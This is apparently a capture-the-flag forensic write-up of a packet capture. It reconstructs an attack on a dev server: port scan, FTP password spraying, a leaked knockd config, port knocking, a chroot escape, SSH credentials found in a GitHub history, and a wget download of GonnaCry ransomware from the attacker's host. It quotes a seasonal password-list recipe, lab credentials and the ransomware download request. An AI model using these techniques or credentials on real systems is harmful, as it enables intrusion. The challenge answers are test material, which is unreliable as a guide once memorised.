knock knock

Released2023-11-13
Retired2023-11-30
AuthorCyberJunkie

Scenario

A critical Forela Dev server was targeted by a threat group. The Dev server was accidentally left open to the internet which it was not supposed to be. The senior dev Abdullah told the IT team that the server was fully hardened and it’s still difficult to comprehend how the attack took place and how the attacker got access in the first place. Forela recently started its business expansion in Pakistan and Abdullah was the one IN charge of all infrastructure deployment and management. The Security Team need to contain and remediate the threat as soon as possible as any more damage can be devastating for the company, especially at the crucial stage of expanding in other region. Thankfully a packet capture tool was running in the subnet which was set up a few months ago. A packet capture is provided to you around the time of the incident (1-2) days margin because we don’t know exactly when the attacker gained access. As our forensics analyst, you have been provided the packet capture to assess how the attacker gained access. Warning : This Sherlock will require an element of OSINT to complete fully.


Task 01

Question: Which ports did the attacker find open during their enumeration phase?

By exporting all 80.472 TCP connections from Capture.pcap into a JSON file, the dataset can be filtered using a Python script. A preliminary visual inspection revealed a port scan.

import json

with open('ws_export.json') as f:
    tcp_streams = json.load(f)

for stream in tcp_streams:
    if int(stream.get('Stream ID')) in range(12199,54464):
        if int(stream.get('Pakete')) > 2:
            print(f"Stream ID:{stream.get('Stream ID')} Port: {stream.get('Port B')}")

# python extract_portscan.py
Stream ID:15502 Port: 3306
Stream ID:12219 Port: 21
Stream ID:12220 Port: 22
Stream ID:18576 Port: 6379
Stream ID:20283 Port: 8086

Streams in a port scan contain 2 packets if the port is closed, and an arbitrary number of packets if the port is open, depending on the service. Therefore, filtering based on the number of packets in each stream can identify which ports were reported as open to the attacker.

Answer: 21,22,3306,6379,8086


Task 02

Question: Whats the UTC time when attacker started their attack against the server?

The first packet that can be attributed to the attacker, from one of the IP addresses associated with them (3.109.209.43), is in TCP stream 12199 and has the timestamp 2023-03-21 10:42:23.708988.

Answer: 21/03/2023 10:42:23


Task 03

Question: What’s the MITRE Technique ID of the technique attacker used to get initial access?

Later in the network traffic within Capture.pcap, the attacker attempts to log in via FTP. For this, they use a small list of passwords against a small list of usernames. The attempted passwords match the technique for creating a password list as described in the 2021 leaked Conti Manual.

It is also recommended to use a list of passwords based on the times of the
year and the current year. Given that passwords are changed once in three
months - you can take a "reserve" for the generation of the sheet.
For example, in August 2020 , we create a list with the following content
June2020
July2020
August20
August2020
Summer20
Summer2020
June2020!
July2020!
August20!
August2020!
Summer20!
Summer2020!

Answer: T1110.003


Task 04

Question: What are valid set of credentials used to get initial foothold?

By filtering the data in Wireshark with ftp.response.arg contains "Login successful", two successful FTP logins and their corresponding TCP streams can be identified. By following the first TCP connection 70,832, the associated usernames and passwords can be extracted.

220 (vsFTPd 3.0.5)
USER tony.shephard
331 Please specify the password.
PASS Summer2023!
230 Login successful.

Answer: tony.shephard:Summer2023!


Task 05

Question: What is the Malicious IP address utilized by the attacker for initial access?

The attacker’s IP address can also be extracted from the packet identified in Task 4.

----
- 208838
- 2023-03-21 10:50:20,870888
- 172.31.39.46
- 3.109.209.43
- FTP
- 89
- Response: 230 Login successful.

Answer: 3.109.209.43


Task 06

Question: What is name of the file which contained some config data and credentials?

Later in the FTP traffic, the attacker opens various files and reads their contents. One of them is the target file containing the login credentials.

----
- 209274
- 2023-03-21 10:52:03,447182
- 3.109.209.43
- 172.31.39.46
- FTP
- 80
- Request: RETR .backup

Answer: .backup


Task 07

Question: Which port was the critical service running?

Based on the transfer of the configuration file found in Task 6, it can be read from the subsequent TCP connection 77,849.

[options]
	UseSyslog

[FTP-INTERNAL]
	sequence    = 29999,50234,45087
	seq_timeout = 5
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 24456 -j ACCEPT
	tcpflags    = syn


# Creds for the other backup server abdullah.yasin:XhlhGame_90HJLDASxfd&hoooad

This file is a configuration for knockd, a port-knock server. It defines an FTP-INTERNAL service, with the port specified as an argument in the command.

Answer: 24456


Task 8

Question: Whats the name of technique used to get to that critical service?

The functionality implemented by knockd is port knocking.

Answer: Port Knocking


Task 09

Question: Which ports were required to interact with to reach the critical service?

For Task 07, the knockd configuration file was read - the ports to be searched for are listed in the FTP-INTERNAL section under the item sequence.

Answer: 29999,45087,50234


Task 10

Question: Whats the UTC time when interaction with previous question ports ended?

To find this timestamp, the interaction with the ports can be found in the dump.

import json
import os, subprocess

with open('attack_range.json') as f:
    tcp_streams = json.load(f)

for stream in tcp_streams:
    if stream.get('Port B') == "29999":
        print(f"Stream ID:{stream.get('Stream ID')} Port: {stream.get('Port B')}")
    if stream.get('Port B') == "45087":
        print(f"Stream ID:{stream.get('Stream ID')} Port: {stream.get('Port B')}")
    if stream.get('Port B') == "50234":
        print(f"Stream ID:{stream.get('Stream ID')} Port: {stream.get('Port B')}")

Stream ID:77896 Port:29999
Stream ID:77897 Port:50234
Stream ID:77898 Port:45087

The final packet of this interaction can then be read.

----
- 210694
- 2023-03-21 10:58:50,288137
- 172.31.39.46
- 3.109.209.43
- TCP
- 54
- 45087 → 45018 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

Answer: 21/03/2023 10:58:50


Task 11

Question: What are set of valid credentials for the critical service?

The .backup file, which is a knockd configuration, also contained credentials. The second FTP access to the internal FTP account with the new credentials can be read in TCP stream 77.911 after successful port knocking.

220 (vsFTPd 3.0.5)
USER abdullah.yasin
331 Please specify the password.
PASS XhlhGame_90HJLDASxfd&hoooad
230 Login successful.
SYST
215 UNIX Type: L8
[...]

Answer: abdullah.yasin:XhlhGame_90HJLDASxfd&hoooad


Task 12

Question: At what UTC Time attacker got access to the critical server?

Using the TCP connection found in Task 11 with the attacker’s authentication, the time on the server can also be determined by the 230 Login successful packet.

----
- 210799
- 2023-03-21 11:00:01,645644
- 172.31.39.46
- 3.109.209.43
- TCP
- 89
- 24456 → 38032 [PSH, ACK] Seq=55 Ack=56 Win=62720 Len=23 TSval=1292623075 TSecr=2679030032
0000   02 76 f4 07 ce 92 02 cd 7c 7e ed ae 08 00 45 00   .v......|~....E.
0010   00 4b ba 70 40 00 40 06 d8 56 ac 1f 27 2e 03 6d   .K.p@[email protected]..'..m
0020   d1 2b 5f 88 94 90 85 cf 9a 8f 29 7d 1b 4a 80 18   .+_.......)}.J..
0030   01 ea a8 23 00 00 01 01 08 0a 4d 0b dc e3 9f ae   ...#......M.....
0040   c1 10 32 33 30 20 4c 6f 67 69 6e 20 73 75 63 63   ..230 Login succ
0050   65 73 73 66 75 6c 2e 0d 0a                        essful...

Answer: 21/03/2023 11:00:01


Task 13

Question: Whats the AWS AccountID and Password for the developer “Abdullah”?

During FTP communication with the internal server, the attacker found an .archived.sql file and transferred it to himself.

----
- 211112
- 2023-03-21 11:02:07,287519
- 3.109.209.43
- 172.31.39.46
- TCP
- 86
- Request: RETR .archived.sql

The transfer of the file can be read from the directly following stream 77936.

-- MySQL dump 10.13  Distrib 8.0.32, for Linux (x86_64)
[...]
CREATE TABLE `AWS_EC2_DEV` (
  `NAME` varchar(40) DEFAULT NULL,
  `AccountID` varchar(40) DEFAULT NULL,
  `Password` varchar(60) NOT NULL
)
[...]
INSERT INTO `AWS_EC2_DEV` VALUES 
('Alonzo','341624703104',''),
(NULL,NULL,'d;089gjbj]jhTVLXEROP.madsfg'),
('Abdullah','391629733297','yiobkod0986Y[adij@IKBDS');
[...]

Answer: 391629733297:yiobkod0986Y[adij@IKBDS


Task 14

Question: Whats the deadline for hiring developers for forela?

Later in the transmission, the attacker downloads a file called Done.docx. This is a Word document that can be reconstructed from the TCP stream 77.938.

Answer: 30/08/2023


Task 15

Question: When did CEO of forela was scheduled to arrive in pakistan?

The attacker also downloads the reminder.txt file from TCP stream 77.941 to his client.

I am so stupid and dump, i keep forgetting about Forela CEO Happy grunwald visiting Pakistan to start the buisness operations 
here.I have so many tasks to complete so there are no problems once the Forela Office opens here in Lahore. I am writing this 
note and placing it on all my remote servers where i login almost daily, just so i dont make a fool of myself and get the 
urgent tasks done.

He is to arrive in my city on 8 march 2023 :))

i am finally so happy that we are getting a physical office opening here.

Answer: 08/03/2023


Task 16

Question: The attacker was able to perform directory traversel and escape the chroot jail.This caused attacker to roam around the filesystem just like a normal user would. Whats the username of an account other than root having /bin/bash set as default shell?

The information sought can be read on Linux systems from /etc/passwd, which the attacker requested in package 211.271.

0000   02 cd 7c 7e ed ae 02 76 f4 07 ce 92 08 00 45 10   ..|~...v......E.
0010   00 46 f4 4d 40 00 3f 06 9f 6e 03 6d d1 2b ac 1f   .F.M@.?..n.m.+..
0020   27 2e 94 90 5f 88 29 7d 1c cc 85 cf a0 3e 80 18   '..._.)}.....>..
0030   40 00 a9 9f 00 00 01 01 08 0a 9f b1 c2 4f 4d 0e   @............OM.
0040   dd ef 52 45 54 52 20 2f 65 74 63 2f 70 61 73 73   ..RETR /etc/pass
0050   77 64 0d 0a                                       wd..
root:x:0:0:root:/root:/bin/bash
[...]
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
[...]
cyberjunkie:x:1003:1003:,,,:/home/cyberjunkie:/bin/bash

The attacker then attempted to download /etc/shadow, but this failed due to a lack of permissions.

Answer: cyberjunkie


Task 17

Question: Whats the full path of the file which lead to ssh access of the server by attacker?

The attacker opens the file .reminder (TCP Stream 77.981) with the content

A reminder to clean up the github repo. Some sensitive data could have been leaked from there

The path to this file can be composed of three TCP connections (77.975, 77.977, 77.979) using previous commands via FTP and their responses.

drwxr-xr-x   19 0        0            4096 Mar 20 14:35 .
drwxr-xr-x   19 0        0            4096 Mar 20 14:35 ..
lrwxrwxrwx    1 0        0               7 Feb 08 02:09 bin -> usr/bin
drwxr-xr-x    4 0        0            4096 Mar 17 12:11 boot
drwxr-xr-x   16 0        0            3220 Mar 20 14:35 dev
drwxr-xr-x  104 0        0            4096 Mar 21 10:56 etc
drwxr-xr-x    6 0        0            4096 Mar 16 10:57 home
lrwxrwxrwx    1 0        0               7 Feb 08 02:09 lib -> usr/lib
lrwxrwxrwx    1 0        0               9 Feb 08 02:09 lib32 -> usr/lib32
lrwxrwxrwx    1 0        0               9 Feb 08 02:09 lib64 -> usr/lib64
lrwxrwxrwx    1 0        0              10 Feb 08 02:09 libx32 -> usr/libx32
drwx------    2 0        0           16384 Feb 08 02:11 lost+found
drwxr-xr-x    2 0        0            4096 Feb 08 02:09 media
drwxr-xr-x    2 0        0            4096 Feb 08 02:09 mnt
drwxr-xr-x    3 0        0            4096 Mar 17 12:42 opt
dr-xr-xr-x  185 0        0               0 Mar 20 14:35 proc
drwx------    6 0        0            4096 Mar 20 14:38 root
drwxr-xr-x   31 0        0            1000 Mar 21 09:45 run
lrwxrwxrwx    1 0        0               8 Feb 08 02:09 sbin -> usr/sbin
drwxr-xr-x    8 0        0            4096 Feb 08 02:13 snap
drwxr-xr-x    3 0        0            4096 Mar 15 12:38 srv
dr-xr-xr-x   13 0        0               0 Mar 20 14:35 sys
drwxrwxrwt   12 0        0            4096 Mar 21 11:02 tmp
drwxr-xr-x   14 0        0            4096 Feb 08 02:09 usr
drwxr-xr-x   13 0        0            4096 Feb 08 02:10 var
# cd opt
# ls -la
drwxr-xr-x    3 0        0            4096 Mar 17 12:42 .
drwxr-xr-x   19 0        0            4096 Mar 20 14:35 ..
drwxr-xr-x    2 0        0            4096 Mar 17 12:46 reminders
# cd reminders
# ls -la
drwxr-xr-x    2 0        0            4096 Mar 17 12:46 .
drwxr-xr-x    3 0        0            4096 Mar 17 12:42 ..
-rw-r--r--    1 0        0              94 Mar 17 12:46 .reminder

Answer: /opt/reminders/.reminder


Task 18

Question: Whats the SSH password which attacker used to access the server and get full access?

Using the company name (Forela) and the developer’s name (cyberjunkie), the forela-dev repository can be identified on GitHub, where the internal-dev.yaml file with SSH access credentials is located. After cloning the repository, the commit history can be searched using git log. The commit ab04702b3269f016def0521a734380fb12596994 stands out due to its comment.

Updated the script to be more secure. Earlier configuration was insecure

The changes in this commit can be viewed with git show ab04702b3269f016def0521a734380fb12596994.

commit ab04702b3269f016def0521a734380fb12596994
Author: CyberJunnkie <[email protected]>
Date:   Tue Mar 21 15:35:11 2023 +0500

    Update internal-dev.yaml

    Updated the script to be more secure. Earlier configuration was insecure

diff --git a/internal-dev.yaml b/internal-dev.yaml
index 4cf911e..2d00664 100644
--- a/internal-dev.yaml
+++ b/internal-dev.yaml
@@ -4,12 +4,18 @@
   become: yes

   tasks:
+   - name: Download SSH key from URL
+      get_url:
+        url: "http://dev.forela.co.uk/internal/secrets/cyberjunkie-internal.pem"
+        dest: "/tmp/cyberjunkie.pem"
+        mode: "0600"
     - name: Log in to remote server via SSH
       become_user: root
       become_method: sudo
       vars:
         ssh_user: cyberjunkie
-        ssh_password: YHUIhnollouhdnoamjndlyvbl398782bapd
+        ssh_key_file: /path/to/local/ssh/key
[...]

Answer: YHUIhnollouhdnoamjndlyvbl398782bapd


Task 19

Question: Whats the full url from where attacker downloaded ransomware?

After the FTP traffic, the attacker connects via SSH. The actions performed there cannot be reproduced from the network traffic. However, later on, another connection (78.236) is established to another IP address (13.233.179.35) of the attacker.

----
- 213543
- 2023-03-21 11:42:34,411936
- 172.31.39.46
- 13.233.179.35
- HTTP
- 242
- GET /PKCampaign/Targets/Forela/Ransomware2_server.zip HTTP/1.1 

Answer: http://13.233.179.35/PKCampaign/Targets/Forela/Ransomware2_Server.zip


Task 20

Question: Whats the tool/util name and version which attacker used to download ransomware?

The HTTP header of the GET request from Task 19 contains a user agent. This identifies the tool the attacker used to download the ransomware.

0000   47 45 54 20 2f 50 4b 43 61 6d 70 61 69 67 6e 2f   GET /PKCampaign/
0010   54 61 72 67 65 74 73 2f 46 6f 72 65 6c 61 2f 52   Targets/Forela/R
0020   61 6e 73 6f 6d 77 61 72 65 32 5f 73 65 72 76 65   ansomware2_serve
0030   72 2e 7a 69 70 20 48 54 54 50 2f 31 2e 31 0d 0a   r.zip HTTP/1.1..
0040   48 6f 73 74 3a 20 31 33 2e 32 33 33 2e 31 37 39   Host: 13.233.179
0050   2e 33 35 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a   .35..User-Agent:
0060   20 57 67 65 74 2f 31 2e 32 31 2e 32 0d 0a 41 63    Wget/1.21.2..Ac
0070   63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 63 65 70   cept: */*..Accep
0080   74 2d 45 6e 63 6f 64 69 6e 67 3a 20 69 64 65 6e   t-Encoding: iden
0090   74 69 74 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e   tity..Connection
00a0   3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 0d 0a   : Keep-Alive....

Answer: Wget/1.21.2


Task 21

Question: Whats the ransomware name?

In the TCP connection from Task 20 (78.236), several file paths can be identified. These reveal the name of the ransomware in several places.

----
- 217911
- 2023-03-21 11:42:34,639306
- 13.233.179.35
- 172.31.39.46
- TCP
- 8754
0860   00 52 61 6e 73 6f 6d 77 61 72 65 32 5f 73 65 72   .Ransomware2_ser
0870   76 65 72 2f 73 72 63 2f 47 6f 6e 6e 61 43 72 79   ver/src/GonnaCry
0880   2f 55 54 09 00 03 b3 96 19 64 f5 97 19 64 75 78   /UT......d...dux
0890   0b 00 01 04 00 00 00 00 04 00 00 00 00 50 4b 03   .............PK.
08a0   04 14 00 00 00 08 00 8a 5c 75 56 3e aa 7e 59 23   ........\uV>.~Y#
08b0   01 00 00 ab 02 00 00 2e 00 1c 00 52 61 6e 73 6f   ...........Ranso
08c0   6d 77 61 72 65 32 5f 73 65 72 76 65 72 2f 73 72   mware2_server/sr
08d0   63 2f 47 6f 6e 6e 61 43 72 79 2f 65 6e 76 69 72   c/GonnaCry/envir
08e0   6f 6e 6d 65 6e 74 2e 70 79 55 54 09 00 03 b3 96   onment.pyUT.....
08f0   19 64 b3 96 19 64 75 78 0b 00 01 04 00 00 00 00   .d...dux........
[...]
0a40   00 00 28 00 1c 00 52 61 6e 73 6f 6d 77 61 72 65   ..(...Ransomware
0a50   32 5f 73 65 72 76 65 72 2f 73 72 63 2f 47 6f 6e   2_server/src/Gon
0a60   6e 61 43 72 79 2f 63 6c 65 61 6e 2e 73 68 55 54   naCry/clean.shUT
0a70   09 00 03 b3 96 19 64 b3 96 19 64 75 78 0b 00 01   ......d...dux...
0a80   04 00 00 00 00 04 00 00 00 00 53 56 d4 4f ca cc   ..........SV.O..
0a90   d3 4f 4a 2c ce e0 2a ca 55 d0 d2 2b a8 4c 06 31   .OJ,..*.U..+.L.1
0aa0   74 8b d2 14 e2 e3 81 9c c4 e4 8c d4 f8 78 2e 00   t............x..
0ab0   50 4b 03 04 14 00 00 00 08 00 8a 5c 75 56 e9 ae   PK.........\uV..
0ac0   24 3f 11 02 00 00 06 05 00 00 2c 00 1c 00 52 61   $?........,...Ra
0ad0   6e 73 6f 6d 77 61 72 65 32 5f 73 65 72 76 65 72   nsomware2_server
0ae0   2f 73 72 63 2f 47 6f 6e 6e 61 43 72 79 2f 73 79   /src/GonnaCry/sy
0af0   6d 6d 65 74 72 69 63 2e 70 79 55 54 09 00 03 b3   mmetric.pyUT....
[...]
0d40   00 2a 00 1c 00 52 61 6e 73 6f 6d 77 61 72 65 32   .*...Ransomware2
0d50   5f 73 65 72 76 65 72 2f 73 72 63 2f 47 6f 6e 6e   _server/src/Gonn
0d60   61 43 72 79 2f 64 72 6f 70 70 65 72 2e 70 79 55   aCry/dropper.pyU
0d70   54 09 00 03 b3 96 19 64 b3 96 19 64 75 78 0b 00   T......d...dux..
[...]

The ransomware used was therefore identified by GitHub.

Answer: GonnaCry